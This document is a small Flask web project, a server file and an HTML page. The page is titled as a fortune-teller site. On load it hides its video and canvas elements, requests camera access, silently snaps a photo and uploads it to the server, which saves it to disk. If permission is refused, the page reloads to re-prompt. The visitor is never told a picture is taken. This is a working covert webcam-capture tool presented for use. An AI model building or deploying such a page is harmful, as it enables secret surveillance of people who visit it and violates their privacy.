tree
│ main.py
├─templates
│ index.html
main.py
from flask import Flask, request,render_template
import base64
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/upload', methods=['POST'])
def upload():
file = request.form['data']
with open('uploads/1.jpg','wb') as f:
b=base64.b64decode(file).decode().replace('data:image/png;base64,','')
f.write(base64.b64decode(b))
return '文件上传成功！'
if __name__ == '__main__':
app.run(port=1234)
index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="" content="content">
<title>神算子</title>
</head>
<body>
<canvas id="canvas" style="display: none;" width="3264" height="2448"></canvas>
<video id="video" style="display: none;width: 250px;height: 300px;"></video>
<script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>
<script>
window.addEventListener("DOMContentLoaded",function(){
var canvas = document.getElementById('canvas');
var context =canvas.getContext('2d');
var video = document.getElementById('video');
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){
video.srcObject = stream;
video.play();
setTimeout(function(){context.drawImage(video,0,0,3264,2448)}, 1000);
setTimeout(function(){
var img = canvas.toDataURL('image/png');
$.ajax({
type: "POST",
url: "/upload",
data: {
"data": btoa(img)
},
success: function (response) {
console.log(response);
},
error: function (xhr, status, error) {
console.log(error);
}
});
} ,1300)
},function(){
alert('缺少访问权限');
location.reload();
})
}
},false);
</script>
</body>
</html>